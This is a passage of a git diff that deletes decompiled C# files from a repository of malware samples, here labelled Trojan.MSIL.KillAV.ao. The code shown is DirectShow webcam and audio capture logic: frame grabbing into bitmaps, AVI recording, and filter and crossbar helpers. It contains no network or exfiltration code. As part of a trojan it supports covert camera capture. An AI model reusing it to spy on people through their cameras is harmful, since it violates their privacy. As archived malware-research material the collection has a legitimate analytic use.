this.sampGrabber = (ISampleGrabber) Activator.CreateInstance(System.Type.GetTypeFromCLSID(Clsid.SampleGrabber, true)); - obj = (object) null; - int errorCode1 = this.captureGraphBuilder.SetFiltergraph(this.graphBuilder); - if (errorCode1 < 0) - Marshal.ThrowExceptionForHR(errorCode1); - int errorCode2 = this.sampGrabber.SetMediaType(new AMMediaType() - { - majorType = MediaType.Video, - subType = MediaSubType.RGB24, - formatType = FormatType.VideoInfo - }); - if (errorCode2 < 0) - Marshal.ThrowExceptionForHR(errorCode2); - if (this.VideoDevice != null) - { - this.videoDeviceFilter = (IBaseFilter) Marshal.BindToMoniker(this.VideoDevice.MonikerString); - int errorCode3 = this.graphBuilder.AddFilter(this.videoDeviceFilter, "Video Capture Device"); - if (errorCode3 < 0) - Marshal.ThrowExceptionForHR(errorCode3); - this.mediaEvt = (IMediaEventEx) this.graphBuilder; - this.baseGrabFlt = (IBaseFilter) this.sampGrabber; - int errorCode4 = this.graphBuilder.AddFilter(this.baseGrabFlt, "DS.NET Grabber"); - if (errorCode4 < 0) - Marshal.ThrowExceptionForHR(errorCode4); - } - if (this.AudioDevice != null) - { - this.audioDeviceFilter = (IBaseFilter) Marshal.BindToMoniker(this.AudioDevice.MonikerString); - int errorCode5 = this.graphBuilder.AddFilter(this.audioDeviceFilter, "Audio Capture Device"); - if (errorCode5 < 0) - Marshal.ThrowExceptionForHR(errorCode5); - } - if (this.VideoCompressor != null) - { - this.videoCompressorFilter = (IBaseFilter) Marshal.BindToMoniker(this.VideoCompressor.MonikerString); - int errorCode6 = this.graphBuilder.AddFilter(this.videoCompressorFilter, "Video Compressor"); - if (errorCode6 < 0) - Marshal.ThrowExceptionForHR(errorCode6); - } - if (this.AudioCompressor != null) - { - this.audioCompressorFilter = (IBaseFilter) Marshal.BindToMoniker(this.AudioCompressor.MonikerString); - int errorCode7 = this.graphBuilder.AddFilter(this.audioCompressorFilter, "Audio Compressor"); - if (errorCode7 < 0) - Marshal.ThrowExceptionForHR(errorCode7); - } - Guid capture1 = PinCategory.Capture; - Guid pType = MediaType.Interleaved; - Guid guid2 = typeof (IAMStreamConfig).GUID; - object ppint; - if (this.captureGraphBuilder.FindInterface(ref capture1, ref pType, this.videoDeviceFilter, ref guid2, out ppint) != 0) - { - pType = MediaType.Video; - if (this.captureGraphBuilder.FindInterface(ref capture1, ref pType, this.videoDeviceFilter, ref guid2, out ppint) != 0) - ppint = (object) null; - } - this.videoStreamConfig = ppint as IAMStreamConfig; - ppint = (object) null; - Guid capture2 = PinCategory.Capture; - pType = MediaType.Audio; - guid2 = typeof (IAMStreamConfig).GUID; - if (this.captureGraphBuilder.FindInterface(ref capture2, ref pType, this.audioDeviceFilter, ref guid2, out ppint) != 0) - ppint = (object) null; - this.audioStreamConfig = ppint as IAMStreamConfig; - this.mediaControl = (IMediaControl) this.graphBuilder; - if (this.videoSources != null) - this.videoSources.Dispose(); - this.videoSources = (SourceCollection) null; - if (this.audioSources != null) - this.audioSources.Dispose(); - this.audioSources = (SourceCollection) null; - if (this.propertyPages != null) - this.propertyPages.Dispose(); - this.propertyPages = (PropertyPageCollection) null; - this.videoCaps = (VideoCapabilities) null; - this.audioCaps = (AudioCapabilities) null; - ppint = (object) null; - capture2 = PinCategory.Capture; - pType = MediaType.Interleaved; - guid2 = typeof (IAMTVTuner).GUID; - if (this.captureGraphBuilder.FindInterface(ref capture2, ref pType, this.videoDeviceFilter, ref guid2, out ppint) != 0) - { - pType = MediaType.Video; - if (this.captureGraphBuilder.FindInterface(ref capture2, ref pType, this.videoDeviceFilter, ref guid2, out ppint) != 0) - ppint = (object) null; - } - if (ppint is IAMTVTuner tuner) - this.tuner = new Tuner(tuner); - this.graphState = DirectX.Capture.Capture.GraphState.Created; - } - - protected void renderGraph() - { - bool flag = false; - this.assertStopped(); - if (this.mediaControl != null) - this.mediaControl.Stop(); - this.createGraph(); - if (!this.wantPreviewRendered && this.isPreviewRendered) - this.derenderGraph(); - if (!this.wantCaptureRendered && this.isCaptureRendered && this.wantPreviewRendered) - { - this.derenderGraph(); - this.graphState = DirectX.Capture.Capture.GraphState.Null; - this.createGraph(); - } - int num1; - Guid pCategory; - if (this.wantCaptureRendered && !this.isCaptureRendered) - { - Guid avi = MediaSubType.Avi; - num1 = this.captureGraphBuilder.SetOutputFileName(ref avi, this.Filename, out this.muxFilter, out this.fileWriterFilter); - if (this.VideoDevice != null) - { - pCategory = PinCategory.Capture; - Guid interleaved = MediaType.Interleaved; - if (this.captureGraphBuilder.RenderStream(ref pCategory, ref interleaved, (object) this.videoDeviceFilter, this.videoCompressorFilter, this.muxFilter) < 0) - { - Guid video = MediaType.Video; - num1 = this.captureGraphBuilder.RenderStream(ref pCategory, ref video, (object) this.videoDeviceFilter, this.videoCompressorFilter, this.muxFilter); - } - } - if (this.AudioDevice != null) - { - pCategory = PinCategory.Capture; - Guid audio = MediaType.Audio; - num1 = this.captureGraphBuilder.RenderStream(ref pCategory, ref audio, (object) this.audioDeviceFilter, this.audioCompressorFilter, this.muxFilter); - } - this.isCaptureRendered = true; - flag = true; - } - if (this.wantPreviewRendered && this.renderStream && !this.isPreviewRendered) - { - pCategory = PinCategory.Preview; - Guid video = MediaType.Video; - num1 = this.captureGraphBuilder.RenderStream(ref pCategory, ref video, (object) this.videoDeviceFilter, this.baseGrabFlt, (IBaseFilter) null); - this.videoWindow = (IVideoWindow) this.graphBuilder; - num1 = this.videoWindow.put_Owner(this.previewWindow.Handle); - num1 = this.videoWindow.put_WindowStyle(1174405120); - this.previewWindow.Resize += new EventHandler(this.onPreviewWindowResize); - this.onPreviewWindowResize((object) this, (EventArgs) null); - num1 = this.videoWindow.put_Visible(-1); - num1 = this.mediaEvt.SetNotifyWindow(this.Handle, 32769, IntPtr.Zero); - this.isPreviewRendered = true; - flag = true; - AMMediaType pmt = new AMMediaType(); - num1 = this.sampGrabber.GetConnectedMediaType(pmt); - this.videoInfoHeader = (VideoInfoHeader) Marshal.PtrToStructure(pmt.formatPtr, typeof (VideoInfoHeader)); - Marshal.FreeCoTaskMem(pmt.formatPtr); - pmt.formatPtr = IntPtr.Zero; - int num2 = this.sampGrabber.SetBufferSamples(false); - if (num2 == 0) - num2 = this.sampGrabber.SetOneShot(false); - if (num2 == 0) - num2 = this.sampGrabber.SetCallback((ISampleGrabberCB) null, 0); - if (num2 < 0) - num1 = 0; - } - if (!flag) - return; - this.graphState = DirectX.Capture.Capture.GraphState.Rendered; - } - - protected void startPreviewIfNeeded() - { - if (!this.wantPreviewRendered || !this.isPreviewRendered || this.isCaptureRendered) - return; - this.mediaControl.Run(); - } - - protected void derenderGraph() - { - if (this.mediaControl != null) - this.mediaControl.Stop(); - if (this.videoWindow != null) - { - this.videoWindow.put_Visible(0); - this.videoWindow.put_Owner(IntPtr.Zero); - this.videoWindow = (IVideoWindow) null; - } - if (this.PreviewWindow != null) - this.previewWindow.Resize -= new EventHandler(this.onPreviewWindowResize); - if (this.graphState < DirectX.Capture.Capture.GraphState.Rendered) - return; - this.graphState = DirectX.Capture.Capture.GraphState.Created; - this.isCaptureRendered = false; - this.isPreviewRendered = false; - if (this.videoDeviceFilter != null) - this.removeDownstream(this.videoDeviceFilter, this.videoCompressor == null); - if (this.audioDeviceFilter != null) - this.removeDownstream(this.audioDeviceFilter, this.audioCompressor == null); - this.muxFilter = (IBaseFilter) null; - this.fileWriterFilter = (IFileSinkFilter) null; - this.baseGrabFlt = (IBaseFilter) null; - } - - protected void removeDownstream(IBaseFilter filter, bool removeFirstFilter) - { - IEnumPins ppEnum; - int num1 = filter.EnumPins(out ppEnum); - ppEnum.Reset(); - if (num1 != 0 || ppEnum == null) - return; - IPin[] ppPins = new IPin[1]; - int num2; - do - { - num2 = ppEnum.Next(1, ppPins, out int _); - if (num2 == 0 && ppPins[0] != null) - { - IPin ppPin = (IPin) null; - ppPins[0].ConnectedTo(out ppPin); - if (ppPin != null) - { - PinInfo pInfo = new PinInfo(); - num2 = ppPin.QueryPinInfo(out pInfo); - if (num2 == 0 && pInfo.dir == PinDirection.Input) - { - this.removeDownstream(pInfo.filter, true); - this.graphBuilder.Disconnect(ppPin); - this.graphBuilder.Disconnect(ppPins[0]); - if (pInfo.filter != this.videoCompressorFilter && pInfo.filter != this.audioCompressorFilter) - this.graphBuilder.RemoveFilter(pInfo.filter); - } - Marshal.ReleaseComObject((object) pInfo.filter); - Marshal.ReleaseComObject((object) ppPin); - } - Marshal.ReleaseComObject((object) ppPins[0]); - } - } - while (num2 == 0); - Marshal.ReleaseComObject((object) ppEnum); - } - - protected void destroyGraph() - { - try - { - this.derenderGraph(); - } - catch - { - } - this.graphState = DirectX.Capture.Capture.GraphState.Null; - this.isCaptureRendered = false; - this.isPreviewRendered = false; - if (this.rotCookie != 0) - { - DsROT.RemoveGraphFromRot(ref this.rotCookie); - this.rotCookie = 0; - } - if (this.muxFilter != null) - this.graphBuilder.RemoveFilter(this.muxFilter); - if (this.baseGrabFlt != null) - this.graphBuilder.RemoveFilter(this.baseGrabFlt); - if (this.videoCompressorFilter != null) - this.graphBuilder.RemoveFilter(this.videoCompressorFilter); - if (this.audioCompressorFilter != null) - this.graphBuilder.RemoveFilter(this.audioCompressorFilter); - if (this.videoDeviceFilter != null) - this.graphBuilder.RemoveFilter(this.videoDeviceFilter); - if (this.audioDeviceFilter != null) - this.graphBuilder.RemoveFilter(this.audioDeviceFilter); - if (this.videoSources != null) - this.videoSources.Dispose(); - this.videoSources = (SourceCollection) null; - if (this.audioSources != null) - this.audioSources.Dispose(); - this.audioSources = (SourceCollection) null; - if (this.propertyPages != null) - this.propertyPages.Dispose(); - this.propertyPages = (PropertyPageCollection) null; - if (this.tuner != null) - this.tuner.Dispose(); - this.tuner = (Tuner) null; - if (this.graphBuilder != null) - Marshal.ReleaseComObject((object) this.graphBuilder); - this.graphBuilder = (IGraphBuilder) null; - if (this.captureGraphBuilder != null) - Marshal.ReleaseComObject((object) this.captureGraphBuilder); - this.captureGraphBuilder = (ICaptureGraphBuilder2) null; - if (this.muxFilter != null) - Marshal.ReleaseComObject((object) this.muxFilter); - this.muxFilter = (IBaseFilter) null; - if (this.baseGrabFlt != null) - Marshal.ReleaseComObject((object) this.baseGrabFlt); - this.baseGrabFlt = (IBaseFilter) null; - if (this.fileWriterFilter != null) - Marshal.ReleaseComObject((object) this.fileWriterFilter); - this.fileWriterFilter = (IFileSinkFilter) null; - if (this.videoDeviceFilter != null) - Marshal.ReleaseComObject((object) this.videoDeviceFilter); - this.videoDeviceFilter = (IBaseFilter) null; - if (this.audioDeviceFilter != null) - Marshal.ReleaseComObject((object) this.audioDeviceFilter); - this.audioDeviceFilter = (IBaseFilter) null; - if (this.videoCompressorFilter != null) - Marshal.ReleaseComObject((object) this.videoCompressorFilter); - this.videoCompressorFilter = (IBaseFilter) null; - if (this.audioCompressorFilter != null) - Marshal.ReleaseComObject((object) this.audioCompressorFilter); - this.audioCompressorFilter = (IBaseFilter) null; - this.mediaControl = (IMediaControl) null; - this.videoWindow = (IVideoWindow) null; - GC.Collect(); - } - - protected void onPreviewWindowResize(object sender, EventArgs e) - { - if (this.videoWindow == null) - return; - Rectangle clientRectangle = this.previewWindow.ClientRectangle; - this.videoWindow.SetWindowPosition(0, 0, clientRectangle.Right, clientRectangle.Bottom); - } - - protected string getTempFilename() - { - string path; - try - { - int num1 = 0; - Random random = new Random(); - string tempPath = Path.GetTempPath(); - do - { - int num2 = random.Next(); - path = Path.Combine(tempPath, num2.ToString("X") + ".avi"); - ++num1; - } - while (num1 <= 100 && File.Exists(path)); - return path; - } - catch - { - path = "c:\temp.avi"; - } - return path; - } - - protected object getStreamConfigSetting(IAMStreamConfig streamConfig, string fieldName) - { - if (streamConfig == null) - throw new NotSupportedException(); - this.assertStopped(); - this.derenderGraph(); - object streamConfigSetting = (object) null; - IntPtr pmt = IntPtr.Zero; - AMMediaType amMediaType = new AMMediaType(); - try - { - streamConfig.GetFormat(out pmt); - Marshal.PtrToStructure(pmt, (object) amMediaType); - object structure = (object) null; - if (amMediaType.formatType == FormatType.WaveEx) - structure = (object) new WaveFormatEx(); - else if (amMediaType.formatType == FormatType.VideoInfo) - structure = (object) new VideoInfoHeader(); - else if (amMediaType.formatType == FormatType.VideoInfo2) - structure = (object) new VideoInfoHeader2(); - Marshal.PtrToStructure(amMediaType.formatPtr, structure); - streamConfigSetting = structure.GetType().GetField(fieldName).GetValue(structure); - } - finally - { - DsUtils.FreeAMMediaType(amMediaType); - Marshal.FreeCoTaskMem(pmt); - } - this.renderStream = false; - this.renderGraph(); - this.startPreviewIfNeeded(); - return streamConfigSetting; - } - - protected object setStreamConfigSetting( - IAMStreamConfig streamConfig, - string fieldName, - object newValue) - { - if (streamConfig == null) - throw new NotSupportedException(); - this.assertStopped(); - this.derenderGraph(); - object obj = (object) null; - IntPtr pmt = IntPtr.Zero; - AMMediaType amMediaType = new AMMediaType(); - try - { - int num = streamConfig.GetFormat(out pmt); - Marshal.PtrToStructure(pmt, (object) amMediaType); - object structure = (object) null; - if (amMediaType.formatType == FormatType.WaveEx) - structure = (object) new WaveFormatEx(); - else if (amMediaType.formatType == FormatType.VideoInfo) - structure = (object) new VideoInfoHeader(); - else if (amMediaType.formatType == FormatType.VideoInfo2) - structure = (object) new VideoInfoHeader2(); - Marshal.PtrToStructure(amMediaType.formatPtr, structure); - FieldInfo field = structure.GetType().GetField(fieldName); - if ((object) field == null) - field.SetValue(structure, newValue); - Marshal.StructureToPtr(structure, amMediaType.formatPtr, false); - num = streamConfig.SetFormat(amMediaType); - } - finally - { - DsUtils.FreeAMMediaType(amMediaType); - Marshal.FreeCoTaskMem(pmt); - } - this.renderStream = false; - this.renderGraph(); - this.startPreviewIfNeeded(); - return obj; - } - - protected void assertStopped() - { - if (this.Stopped) - ; - } - - private void OnCaptureDone() - { - if (this.sampGrabber == null) - return; - this.sampGrabber.SetCallback((ISampleGrabberCB) null, 0); - int width = this.videoInfoHeader.BmiHeader.Width; - int height = this.videoInfoHeader.BmiHeader.Height; - if ((width & 3) != 0 || width < 32 || width > 4096 || height < 32 || height > 4096) - return; - int num = width * 3; - GCHandle gcHandle = GCHandle.Alloc((object) this.savedArray, GCHandleType.Pinned); - int scan0 = (int) gcHandle.AddrOfPinnedObject() + (height - 1) * num; - Bitmap bitmap = new Bitmap(width, height, -num, PixelFormat.Format24bppRgb, (IntPtr) scan0); - gcHandle.Free(); - this.savedArray = (byte[]) null; - this.ImageCaptured.Image = (Image) bitmap; - this.FrameCaptureComplete(this.ImageCaptured); - } - - protected override void WndProc(ref Message m) - { - if (m.Msg == 32769) - { - if (this.mediaEvt == null) - return; - this.OnGraphNotify(); - } - else - base.WndProc(ref m); - } - - private void OnGraphNotify() - { - DsEvCode lEventCode; - int lParam1; - int lParam2; - do - ; - while (this.mediaEvt.GetEvent(out lEventCode, out lParam1, out lParam2, 0) >= 0 && this.mediaEvt.FreeEventParams(lEventCode, lParam1, lParam2) == 0); - } - - int ISampleGrabberCB.SampleCB(double SampleTime, IMediaSample pSample) => 0; - - int ISampleGrabberCB.BufferCB(double SampleTime, IntPtr pBuffer, int BufferLen) - { - if (this.captured || this.savedArray == null) - return 0; - this.captured = true; - this.bufferedSize = BufferLen; - if (pBuffer != IntPtr.Zero && BufferLen > 1000 && BufferLen <= this.savedArray.Length) - Marshal.Copy(pBuffer, this.savedArray, 0, BufferLen); - try - { - this.BeginInvoke((Delegate) new DirectX.Capture.Capture.CaptureDone(this.OnCaptureDone)); - } - catch (ThreadInterruptedException ex) - { - } - catch (Exception ex) - { - } - return 0; - } - - private void InitializeComponent() - { - this.SuspendLayout(); - this.ClientSize = new Size(284, 264); - this.Name = nameof (Capture); - this.Load += new EventHandler(this.Capture_Load); - this.ResumeLayout(false); - } - - private void Capture_Load(object sender, EventArgs e) - { - } - - protected enum GraphState - { - Null, - Created, - Rendered, - Capturing, - } - - public delegate void FrameCapHandler(PictureBox Frame); - - private delegate void CaptureDone(); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DirectX/Capture/Capture.resx b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DirectX/Capture/Capture.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DirectX/Capture/Capture.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DirectX/Capture/CrossbarSource.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DirectX/Capture/CrossbarSource.cs deleted file mode 100644 index 9e466830..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DirectX/Capture/CrossbarSource.cs +++ /dev/null @@ -1,141 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DirectX.Capture.CrossbarSource -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using DShowNET; -using System.Runtime.InteropServices; - -namespace DirectX.Capture -{ - public class CrossbarSource : Source - { - internal IAMCrossbar Crossbar; - internal int OutputPin; - internal int InputPin; - internal PhysicalConnectorType ConnectorType; - - public override bool Enabled - { - get - { - int InputPinIndex; - return this.Crossbar.get_IsRoutedTo(this.OutputPin, out InputPinIndex) == 0 && this.InputPin == InputPinIndex; - } - set - { - int num; - if (value) - num = this.Crossbar.Route(this.OutputPin, this.InputPin); - else - num = this.Crossbar.Route(this.OutputPin, -1); - } - } - - internal CrossbarSource( - IAMCrossbar crossbar, - int outputPin, - int inputPin, - PhysicalConnectorType connectorType) - { - this.Crossbar = crossbar; - this.OutputPin = outputPin; - this.InputPin = inputPin; - this.ConnectorType = connectorType; - this.name = this.getName(connectorType); - } - - private string getName(PhysicalConnectorType connectorType) - { - string name; - switch (connectorType) - { - case PhysicalConnectorType.Video_Tuner: - name = "Video Tuner"; - break; - case PhysicalConnectorType.Video_Composite: - name = "Video Composite"; - break; - case PhysicalConnectorType.Video_SVideo: - name = "Video S-Video"; - break; - case PhysicalConnectorType.Video_RGB: - name = "Video RGB"; - break; - case PhysicalConnectorType.Video_YRYBY: - name = "Video YRYBY"; - break; - case PhysicalConnectorType.Video_SerialDigital: - name = "Video Serial Digital"; - break; - case PhysicalConnectorType.Video_ParallelDigital: - name = "Video Parallel Digital"; - break; - case PhysicalConnectorType.Video_SCSI: - name = "Video SCSI"; - break; - case PhysicalConnectorType.Video_AUX: - name = "Video AUX"; - break; - case PhysicalConnectorType.Video_1394: - name = "Video Firewire"; - break; - case PhysicalConnectorType.Video_USB: - name = "Video USB"; - break; - case PhysicalConnectorType.Video_VideoDecoder: - name = "Video Decoder"; - break; - case PhysicalConnectorType.Video_VideoEncoder: - name = "Video Encoder"; - break; - case PhysicalConnectorType.Video_SCART: - name = "Video SCART"; - break; - case PhysicalConnectorType.Audio_Tuner: - name = "Audio Tuner"; - break; - case PhysicalConnectorType.Audio_Line: - name = "Audio Line In"; - break; - case PhysicalConnectorType.Audio_Mic: - name = "Audio Mic"; - break; - case PhysicalConnectorType.Audio_AESDigital: - name = "Audio AES Digital"; - break; - case PhysicalConnectorType.Audio_SPDIFDigital: - name = "Audio SPDIF Digital"; - break; - case PhysicalConnectorType.Audio_SCSI: - name = "Audio SCSI"; - break; - case PhysicalConnectorType.Audio_AUX: - name = "Audio AUX"; - break; - case PhysicalConnectorType.Audio_1394: - name = "Audio Firewire"; - break; - case PhysicalConnectorType.Audio_USB: - name = "Audio USB"; - break; - case PhysicalConnectorType.Audio_AudioDecoder: - name = "Audio Decoder"; - break; - default: - name = "Unknown Connector"; - break; - } - return name; - } - - public override void Dispose() - { - if (this.Crossbar != null) - Marshal.ReleaseComObject((object) this.Crossbar); - this.Crossbar = (IAMCrossbar) null; - base.Dispose(); - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DirectX/Capture/DeviceInUseException.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DirectX/Capture/DeviceInUseException.cs deleted file mode 100644 index 3d9742c0..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DirectX/Capture/DeviceInUseException.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DirectX.Capture.DeviceInUseException -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using System; - -namespace DirectX.Capture -{ - public class DeviceInUseException : SystemException - { - public DeviceInUseException(string deviceName, int hResult) - : base(deviceName + " is in use or cannot be rendered. (" + (object) hResult + ")") - { - } - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DirectX/Capture/DirectShowPropertyPage.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DirectX/Capture/DirectShowPropertyPage.cs deleted file mode 100644 index fe9052b1..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DirectX/Capture/DirectShowPropertyPage.cs +++ /dev/null @@ -1,62 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DirectX.Capture.DirectShowPropertyPage -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using DShowNET; -using System; -using System.Runtime.InteropServices; -using System.Windows.Forms; - -namespace DirectX.Capture -{ - public class DirectShowPropertyPage : PropertyPage - { - protected DShowNET.ISpecifyPropertyPages specifyPropertyPages; - - public DirectShowPropertyPage(string name, DShowNET.ISpecifyPropertyPages specifyPropertyPages) - { - this.Name = name; - this.SupportsPersisting = false; - this.specifyPropertyPages = specifyPropertyPages; - } - - public override void Show(Control owner) - { - DsCAUUID pPages = new DsCAUUID(); - try - { - int num = this.specifyPropertyPages.GetPages(out pPages); - object specifyPropertyPages = (object) this.specifyPropertyPages; - num = DirectShowPropertyPage.OleCreatePropertyFrame(owner.Handle, 30, 30, (string) null, 1, ref specifyPropertyPages, pPages.cElems, pPages.pElems, 0, 0, IntPtr.Zero); - } - finally - { - if (pPages.pElems != IntPtr.Zero) - Marshal.FreeCoTaskMem(pPages.pElems); - } - } - - public new void Dispose() - { - if (this.specifyPropertyPages != null) - Marshal.ReleaseComObject((object) this.specifyPropertyPages); - this.specifyPropertyPages = (DShowNET.ISpecifyPropertyPages) null; - } - - [DllImport("olepro32.dll", CharSet = CharSet.Unicode)] - private static extern int OleCreatePropertyFrame( - IntPtr hwndOwner, - int x, - int y, - string lpszCaption, - int cObjects, - [MarshalAs(UnmanagedType.Interface), In] ref object ppUnk, - int cPages, - IntPtr pPageClsID, - int lcid, - int dwReserved, - IntPtr pvReserved); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DirectX/Capture/Filter.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DirectX/Capture/Filter.cs deleted file mode 100644 index 93d63e3f..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DirectX/Capture/Filter.cs +++ /dev/null @@ -1,111 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DirectX.Capture.Filter -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69.exe - -using DShowNET; -using DShowNET.Device; -using System; -using System.Runtime.InteropServices; - -namespace DirectX.Capture -{ - public class Filter : IComparable - { - public string Name; - public string MonikerString; - - public Filter(string monikerString) - { - this.Name = this.getName(monikerString); - this.MonikerString = monikerString; - } - - internal Filter(UCOMIMoniker moniker) - { - this.Name = this.getName(moniker); - this.MonikerString = this.getMonikerString(moniker); - } - - protected string getMonikerString(UCOMIMoniker moniker) - { - string ppszDisplayName; - moniker.GetDisplayName((UCOMIBindCtx) null, (UCOMIMoniker) null, out ppszDisplayName); - return ppszDisplayName; - } - - protected string getName(UCOMIMoniker moniker) - { - object ppvObj = (object) null; - IPropertyBag propertyBag1 = (IPropertyBag) null; - try - { - Guid guid = typeof (IPropertyBag).GUID; - moniker.BindToStorage((UCOMIBindCtx) null, (UCOMIMoniker) null, ref guid, out ppvObj); - IPropertyBag propertyBag2 = (IPropertyBag) ppvObj; - object pVar = (object) ""; - int errorCode = propertyBag2.Read("FriendlyName", ref pVar, IntPtr.Zero); - if (errorCode != 0) - Marshal.ThrowExceptionForHR(errorCode); - return pVar as string; - } - catch (Exception ex) - { - return ""; - } - finally - { - propertyBag1 = (IPropertyBag) null; - if (ppvObj != null) - Marshal.ReleaseComObject(ppvObj); - } - } - - protected string getName(string monikerString) - { - UCOMIMoniker ucomiMoniker = (UCOMIMoniker) null; - UCOMIMoniker ppmkOut = (UCOMIMoniker) null; - try - { - ucomiMoniker = this.getAnyMoniker(); - ucomiMoniker.ParseDisplayName((UCOMIBindCtx) null, (UCOMIMoniker) null, monikerString, out int _, out ppmkOut); - return this.getName(ucomiMoniker); - } - finally - { - if (ucomiMoniker != null) - Marshal.ReleaseComObject((object) ucomiMoniker); - if (ppmkOut != null) - Marshal.ReleaseComObject((object) ppmkOut); - } - } - - protected UCOMIMoniker getAnyMoniker() - { - Guid compressorCategory = FilterCategory.VideoCompressorCategory; - object o = (object) null; - ICreateDevEnum createDevEnum = (ICreateDevEnum) null; - UCOMIEnumMoniker ppEnumMoniker = (UCOMIEnumMoniker) null; - UCOMIMoniker[] rgelt = new UCOMIMoniker[1]; - try - { - o = Activator.CreateInstance(Type.GetTypeFromCLSID(Clsid.SystemDeviceEnum)); - ((ICreateDevEnum) o).CreateClassEnumerator(ref compressorCategory, out ppEnumMoniker, 0); - if (ppEnumMoniker.Next(1, rgelt, out int _) != 0) - rgelt[0] = (UCOMIMoniker) null; - return rgelt[0]; - } - finally - { - createDevEnum = (ICreateDevEnum) null; - if (ppEnumMoniker != null) - Marshal.ReleaseComObject((object) ppEnumMoniker); - if (o != null) - Marshal.ReleaseComObject(o); - } - } - - public int CompareTo(object obj) => obj == null ? 1 : this.Name.CompareTo(((Filter) obj).Name); - } -} diff --git a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DirectX/Capture/FilterCollection.cs b/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DirectX/Capture/FilterCollection.cs deleted file mode 100644 index 7377a7af..00000000 --- a/MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DirectX/Capture/FilterCollection.cs +++ /dev/null @@ -1,52 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: DirectX.Capture.FilterCollection -// Assembly: yes, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 83EB8C5F-168C-47FA-93FE-E25AA6C64B02 -// Assembly location: 